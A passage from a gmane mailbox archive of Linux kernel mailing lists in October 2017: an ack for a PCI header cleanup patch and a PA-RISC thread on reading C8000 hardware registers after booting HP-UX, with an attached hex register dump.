>  arch/mips/include/asm/pci.h    |    2 --
>  arch/mn10300/include/asm/pci.h |    2 --
>  arch/parisc/include/asm/pci.h  |    1 -
>  arch/sh/include/asm/pci.h      |    2 --
>  arch/x86/include/asm/pci.h     |    1 -
>  8 files changed, 13 deletions(-)

For MIPS:

Acked-by: Ralf Baechle <ralf@linux-mips.org>

  Ralf
--
To unsubscribe from this list: send the line "unsubscribe sparclinux" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Ralf Baechle <ralf@linux-mips.org>
Newsgroups: gmane.linux.ports.ia64,gmane.linux.kernel.pci,gmane.linux.ports.mips.general,gmane.linux.ports.sh.devel,gmane.linux.ports.sparc,gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.ports.ppc64.devel
Subject: Re: [PATCH 2/4] PCI: Remove redundant pci_dev, pci_bus, resource
 declarations
Date: Mon, 9 Oct 2017 15:12:27 +0200
Lines: 22
Approved: news@gmane.org
Message-ID: <20171009131227.GG20977@linux-mips.org>
References: <20171005201939.18300.25690.stgit@bhelgaas-glaptop.roam.corp.google.com>
 <20171005203849.18300.20999.stgit@bhelgaas-glaptop.roam.corp.google.com>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507554772 9950 195.159.176.226 (9 Oct 2017 13:12:52 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Oct 2017 13:12:52 +0000 (UTC)
User-Agent: Mutt/1.9.0 (2017-09-02)
Cc: linux-pci@vger.kernel.org, linux-mips@linux-mips.org,
        Rich Felker <dalias@libc.org>, linux-ia64@vger.kernel.org,
        linux-sh@vger.kernel.org,
        Benjamin Herrenschmidt <benh@kernel.crashing.org>,
        David Howells <dhowells@redhat.com>,
        Max Filippov <jcmvbkbc@gmail.com>,
        Paul Mackerras <paulus@samba.org>,
        "H. Peter Anvin" <hpa@zytor.com>, sparclinux@vger.kernel.org,
        Jesper Nilsson <jesper.nilsson@axis.com>,
        linux-am33-list@redhat.com,
        Yoshinori Sato <ysato@users.sourceforge.jp>,
        Michael Ellerman <mpe@ellerman.id.au>,
        Helge Deller <deller@gmx.de>, x86@kernel.org,
        "James E.J. Bottomley" <jejb@parisc-linux.org>,
        Ingo Molnar <mingo@redhat.com>,
        Matt Turner <mattst88@gmail.com>,
        Fenghua Yu <fenghua.yu@intel.com>,
        linux-xtensa@linux-xtensa.org, Mikael Starvik <starv
To: Bjorn Helgaas <helgaas@kernel.org>
Original-X-From: linux-ia64-owner@vger.kernel.org Mon Oct 09 15:12:45 2017
Return-path: <linux-ia64-owner@vger.kernel.org>
Envelope-to: glpi-linux-ia64-2@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-ia64-owner@vger.kernel.org>)
	id 1e1XrN-000862-Db
	for glpi-linux-ia64-2@m.gmane.org; Mon, 09 Oct 2017 15:12:41 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754208AbdJINMq (ORCPT <rfc822;glpi-linux-ia64-2@m.gmane.org>);
        Mon, 9 Oct 2017 09:12:46 -0400
Original-Received: from eddie.linux-mips.org ([148.251.95.138]:45920 "EHLO
        cvs.linux-mips.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
        with ESMTP id S1754201AbdJINMm (ORCPT
        <rfc822;linux-ia64@vger.kernel.org>); Mon, 9 Oct 2017 09:12:42 -0400
Original-Received: from localhost.localdomain ([127.0.0.1]:54558 "EHLO linux-mips.org"
        rhost-flags-OK-OK-OK-FAIL) by eddie.linux-mips.org with ESMTP
        id S23993155AbdJINMkfrWAY (ORCPT
        <rfc822;linux-alpha@vger.kernel.org> + 5 others);
        Mon, 9 Oct 2017 15:12:40 +0200
Original-Received: from h7.dl5rb.org.uk (localhost [127.0.0.1])
        by h7.dl5rb.org.uk (8.15.2/8.14.8) with ESMTP id v99DCR8Q012491;
        Mon, 9 Oct 2017 15:12:27 +0200
Original-Received: (from ralf@localhost)
        by h7.dl5rb.org.uk (8.15.2/8.15.2/Submit) id v99DCRrM012490;
        Mon, 9 Oct 2017 15:12:27 +0200
Content-Disposition: inline
In-Reply-To: <20171005203849.18300.20999.stgit@bhelgaas-glaptop.roam.corp.google.com>
Original-Sender: linux-ia64-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-ia64.vger.kernel.org>
X-Mailing-List: linux-ia64@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.ia64:28230 gmane.linux.kernel.pci:66197 gmane.linux.ports.mips.general:61560 gmane.linux.ports.sh.devel:55844 gmane.linux.ports.sparc:26724 gmane.linux.ports.parisc:27914 gmane.linux.ports.alpha:4440 gmane.linux.ports.ppc64.devel:148826
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.ia64/28230>

On Thu, Oct 05, 2017 at 03:38:49PM -0500, Bjorn Helgaas wrote:

> From: Bjorn Helgaas <bhelgaas@google.com>
> 
> <linux/pci.h> defines struct pci_bus and struct pci_dev and includes the
> struct resource definition before including <asm/pci.h>.  Nobody includes
> <asm/pci.h> directly, so they don't need their own declarations.
> 
> Remove the redundant struct pci_dev, pci_bus, resource declarations.
> 
> Signed-off-by: Bjorn Helgaas <bhelgaas@google.com>

For MIPS:

Acked-by: Ralf Baechle <ralf@linux-mips.org>

  Ralf
--
To unsubscribe from this list: send the line "unsubscribe linux-ia64" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Mon, 9 Oct 2017 17:34:41 +0200
Lines: 17
Approved: news@gmane.org
Message-ID: <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de>
References: <20170930152506.GA10542@alpha.franken.de>
 <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net>
 <20171001114626.GA16118@alpha.franken.de>
 <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net>
 <20171006143917.GA4906@alpha.franken.de>
 <E9BCD0C2-329E-4E93-B4B8-2B928C458BE0@bell.net>
 <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: blaine.gmane.org 1507563290 31296 195.159.176.226 (9 Oct 2017 15:34:50 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Oct 2017 15:34:50 +0000 (UTC)
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101
 Thunderbird/52.3.0
Cc: Tom Bogendoerfer <tsbogend@alpha.franken.de>,
        linux-parisc@vger.kernel.org
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 09 17:34:46 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e1a4l-0002HG-Tt
	for glpp-linux-parisc@m.gmane.org; Mon, 09 Oct 2017 17:34:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754815AbdJIPer (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 9 Oct 2017 11:34:47 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:52432 "EHLO mout.gmx.net"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1754363AbdJIPeq (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 9 Oct 2017 11:34:46 -0400
Original-Received: from [192.168.20.60] ([193.159.20.79]) by mail.gmx.com (mrgmx102
 [212.227.17.168]) with ESMTPSA (Nemesis) id 0MIyCj-1dz76Z3Ryj-002ZlA; Mon, 09
 Oct 2017 17:34:43 +0200
In-Reply-To: <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net>
Content-Language: en-US
X-Provags-ID: V03:K0:w9n4hUbPbO8atK/rUUo0Zh8FX9QtsGtqfxVyIi7rnptBXsXm4Cx
 lTx9HuIVO2LFToZUykZHgJ1pRMK0gAbnPNxQrA3iDT313Ng35sF64f0dt2Vct//5HEFNNHg
 0MJN0kiKCf4xtw10mlwegg7a+M2QOrkSXDNUQw83Jn2kojBUqFfdQhVdC+l6vm9ppa/Zw6T
 WQTzsMcSbwL4DIgtJCUCw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:AovLaNeYXeI=:qUcM9OEAHn2utyKwKjhwle
 GVlGnRUQASHs4BljqnxBTR3Ixk/WDwKDSYD3QabmTBgYa7fpvdwnQfxjwvpFMA1hmksfrA/Fg
 mVCvKXPYc1yRZWCgOIPZfU+rWdgCqJ2Cy210nQmMy14ynNJ9TUdIyILQ7r5Zci0Aen3FgeRzh
 +DV0j11swG4n2RcnuPZFPJqufunDkIKfwKlBuPiuJiSwIscgVVHqkIuHcFox1M1oUuda/GD3a
 k+R5fN9aUVLcbUxFEkyes75CZpakLArIREVJnS9e0F6BHQmfM4hsZZBmWI5Ds1IS0J//iol+B
 dggo4Kt/s6DoxqcA3GGHTPaKma9kqHHgovF/WsJAEjt1QC0B9rZ2GdCb0RGTYEH5YXiDh7HFn
 5o073+z+sUWj9Ahr7qh8sldgj4vz/lJpjJQJmTcLwwLv+mFqSqE3afnTg+A1EjOaQcQt42H77
 ycBuhAlOrxCx/9uhdq03nRMwJ/5IwOaU1g4y/3gIx6R3KcHAMjmN4YSNPoEV5EkTenBJVw5UC
 TWY9nrfg18yTaWt6Fr9jYfm10YKXeD0JrUDh5E8X2k3Y0fkNxA7AjRs5N/H2w2EW6d2C3NWB/
 Nm0EYVR4udFveVdBz/B3jOmiciEj7OXb2KNiYS4k3xDtdtr313dQaPk8yhg0pUSs0IQS5r8zP
 1OxQTwtb081DfmkOsME/13zD6IhWkFbLCKtpg441BGS1N43pfWQ8P+I9m1V+G08rXes7Yf3WF
 th/A/6sTWQx2w8Z3P27tHQtArqmcJ+ZTnxJoFY/l37ALFEOcW0Az3Wq5Vx4SXk7ZEb7t9apc 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27915
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27915>

On 08.10.2017 18:41, John David Anglin wrote:
> On 2017-10-08, at 12:22 PM, John David Anglin wrote:
>> mmap: Invalid argument
> Same occurs when gcc is used to compile program.

Maybe PDC does not reset (all of?) those registers when it reboots?
If so, maybe it's possible to boot into Linux afterwards and get the registers from there?

Or, even better, add some code to palo and boot into palo to print out
the wanted registers?

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Mon, 9 Oct 2017 18:05:54 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20171009160554.GA19442@alpha.franken.de>
References: <20170930152506.GA10542@alpha.franken.de>
 <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net>
 <20171001114626.GA16118@alpha.franken.de>
 <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net>
 <20171006143917.GA4906@alpha.franken.de>
 <E9BCD0C2-329E-4E93-B4B8-2B928C458BE0@bell.net>
 <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net>
 <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: blaine.gmane.org 1507565193 14536 195.159.176.226 (9 Oct 2017 16:06:33 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Oct 2017 16:06:33 +0000 (UTC)
User-Agent: Mutt/1.5.23 (2014-03-12)
Cc: John David Anglin <dave.anglin@bell.net>,
        linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 09 18:06:24 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e1aZM-0004tR-JK
	for glpp-linux-parisc@m.gmane.org; Mon, 09 Oct 2017 18:06:16 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754068AbdJIQGY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 9 Oct 2017 12:06:24 -0400
Original-Received: from elvis.franken.de ([193.175.24.41]:53669 "EHLO elvis.franken.de"
        rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
        id S1751711AbdJIQGX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 9 Oct 2017 12:06:23 -0400
Original-Received: from uucp (helo=solo.franken.de)
        by elvis.franken.de with local-bsmtp (Exim 3.36 #1)
        id 1e1aZW-0002o4-00; Mon, 09 Oct 2017 18:06:26 +0200
Original-Received: by solo.franken.de (Postfix, from userid 1000)
        id C5E21508B48; Mon,  9 Oct 2017 18:05:54 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27916
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27916>

On Mon, Oct 09, 2017 at 05:34:41PM +0200, Helge Deller wrote:
> Or, even better, add some code to palo and boot into palo to print out
> the wanted registers?

it might be easier to use adb or kernel debugger. As I don't have
any HP-UX box handy right now, I'm not able to give instructions.

If HP-UX supports load able kernel modules, that would be another
option.

Thomas.

-- 
Crap can work. Given enough thrust pigs will fly, but it's not necessarily a
good idea.                                                [ RFC1925, 2.3 ]
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Mon, 9 Oct 2017 12:30:36 -0400
Lines: 98
Approved: news@gmane.org
Message-ID: <8A61C252-CA15-44AB-9225-EAA6C259E872@bell.net>
References: <20170930152506.GA10542@alpha.franken.de> <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net> <20171001114626.GA16118@alpha.franken.de> <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net> <20171006143917.GA4906@alpha.franken.de> <E9BCD0C2-329E-4E93-B4B8-2B928C458BE0@bell.net> <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net> <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-4-978458881
X-Trace: blaine.gmane.org 1507566645 30630 195.159.176.226 (9 Oct 2017 16:30:45 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Oct 2017 16:30:45 +0000 (UTC)
Cc: Tom Bogendoerfer <tsbogend@alpha.franken.de>,
        linux-parisc@vger.kernel.org
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 09 18:30:34 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e1awo-0003Ke-MD
	for glpp-linux-parisc@m.gmane.org; Mon, 09 Oct 2017 18:30:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754622AbdJIQai (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 9 Oct 2017 12:30:38 -0400
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:47213 "EHLO
        mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1752400AbdJIQah (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 9 Oct 2017 12:30:37 -0400
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20171009163036.OMPT19659.mtlfep02.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 9 Oct 2017 12:30:36 -0400
Original-Received: from [192.168.2.25] (really [70.54.49.68]) by mtlspm02.bell.net
          with ESMTP
          id <20171009163036.UNEW3399.mtlspm02.bell.net@[192.168.2.25]>;
          Mon, 9 Oct 2017 12:30:36 -0400
In-Reply-To: <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=d8Ia8VrE c=1 sm=0 tr=0 a=6wHw2kR6hpAEE/VjhHKMJQ==:17 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=a5RCEZb8POhLSPaFvIYA:9 a=CjuIK1q_8ugA:10 a=V597-NYJGyk1VeuvY54A:9 a=Ld372NDzu18A:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27917
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27917>


--Apple-Mail-4-978458881
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2017-10-09, at 11:34 AM, Helge Deller wrote:

> Maybe PDC does not reset (all of?) those registers when it reboots?
> If so, maybe it's possible to boot into Linux afterwards and get the =
registers from there?

Attached is dump from linux after rebooting from hpux.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-4-978458881
Content-Disposition: attachment;
	filename=qs.txt
Content-Type: text/plain;
	name="qs.txt"
Content-Transfer-Encoding: 7bit

3c10b412 4601b002 10000006 20c00000 0c000040 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 a0000000 00000000 00000000 
54000000 00000000 00000000 00000000 00000000 00000000 80ff0000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
03000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
02003500 fb6f002f 00000000 00000000 00000000 000cff17 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
12000100 00000000 48000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
010000c0 00000000 000000c0 00000000 01000000 400f0000 00000000 c00f0000 
01000080 00000000 00000080 00000000 01000000 000f0000 00000000 800f0000 
00000000 00000000 00000000 00000000 00000080 00000000 00000080 00000000 
00000000 00000000 00000000 00000000 00000000 ff0f0000 862124b8 00000000 
0100e0fe 00000000 0000f0ff ff0f0000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00200000 00000000 
f0e1c10b 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
1c000000 00000000 00000000 00000000 50554555 40000000 00000000 00000000 
00c40000 17000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 6a710000 00000080 38000000 06000000 
01001d07 00000000 40080000 20040000 00000000 00000000 00000000 00000000 
04000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
10000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 
00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000 

--Apple-Mail-4-978458881--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Mon, 9 Oct 2017 13:40:45 -0400
Lines: 23
Approved: news@gmane.org
Message-ID: <3417D2EF-A9FF-4E88-94DF-B8214772138B@bell.net>
References: <20170930152506.GA10542@alpha.franken.de> <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net> <20171001114626.GA16118@alpha.franken.de> <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net> <20171006143917.GA4906@alpha.franken.de> <E9BCD0C2-329E-4E93-B4B8-2B928C458BE0@bell.net> <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net> <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de> <20171009160554.GA19442@alpha.franken.de>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: blaine.gmane.org 1507570853 4432 195.159.176.226 (9 Oct 2017 17:40:53 GMT)
X-Complaints-To: usenet@blaine.gmane.org
NNTP-Posting-Date: Mon, 9 Oct 2017 17:40:53 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 09 19:40:47 2017
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@m.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by blaine.gmane.org with esmtp (Exim 4.84_2)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1e1c2h-0002QV-Rg
	for glpp-linux-parisc@m.gmane.org; Mon, 09 Oct 2017 19:40:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
        id S1754494AbdJIRkr convert rfc822-to-8bit (ORCPT
        <rfc822;glpp-linux-parisc@m.gmane.org>);
        Mon, 9 Oct 2017 13:40:47 -0400
Original-Received: from simcoe208srvr.owm.bell.net ([184.150.200.208]:54744 "EHLO
        torfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
        with ESMTP id S1751635AbdJIRkr (ORCPT
        <rfc822;linux-parisc@vger.kernel.org>);
        Mon, 9 Oct 2017 13:40:47 -0400
Original-Received: from bell.net torfep02 184.150.200.158 by torfep02.bell.net
          with ESMTP
          id <20171009174045.DYEL926.torfep02.bell.net@torspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Mon, 9 Oct 2017 13:40:45 -0400
Original-Received: from [192.168.2.25] (really [70.54.49.68]) by torspm02.bell.net
          with ESMTP
          id <20171009174045.QROC2751.torspm02.bell.net@[192.168.2.25]>;
          Mon, 9 Oct 2017 13:40:45 -0400
In-Reply-To: <20171009160554.GA19442@alpha.franken.de>
X-Mailer: Apple Mail (2.1085)
X-Cloudmark-Analysis: v=2.2 cv=ONPI5WSB c=1 sm=0 tr=0 a=6wHw2kR6hpAEE/VjhHKMJQ==:17 a=kj9zAlcOel0A:10 a=02M-m0pO-4AA:10 a=FBHGMhGWAAAA:8 a=cgo5U1p2yBLQCf1BT6YA:9 a=CjuIK1q_8ugA:10 a=9gvnlMMaQFpL9xblJ6ne:22
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:27918
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/27918>

On 2017-10-09, at 12:05 PM, Tom Bogendoerfer wrote:

> On Mon, Oct 09, 2017 at 05:34:41PM +0200, Helge Deller wrote:
>> Or, even better, add some code to palo and boot into palo to print out
>> the wanted registers?
> 
> it might be easier to use adb or kernel debugger.

I tried adb but I didn't have any luck.  It's not clear how 64-bit addresses are handled
and I suspect it can't access registers in /dev/mem since it wasn't possible to access
them with pread.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:40:29 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!.POSTED!not-for-mail
From: Tom Bogendoerfer <tsbogend@alpha.franken.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HP-UX for C8000
Date: Mon, 9 Oct 2017 19:41:46 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20171009174146.GA21988@alpha.franken.de>
References: <20170930152506.GA10542@alpha.franken.de>
 <D582C6C6-78B5-44F4-9705-B4723B651D8E@bell.net>
 <20171001114626.GA16118@alpha.franken.de>
 <692A47DA-6F88-44E7-AA7C-2DE516387604@bell.net>
 <20171006143917.GA4906@alpha.franken.de>
 <E9BCD0C2-329E-4E93-B4B8-2B928C458BE0@bell.net>
 <45425BF6-26D1-4232-957D-F3F057A8966A@bell.net>
 <d6efa26f-9daf-a42f-c4e8-a2f050faf322@gmx.de>
 <8A61C252-CA15-44AB-9225-EAA6C259E872@bell.net>
NNTP-Posting-Host: blaine.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
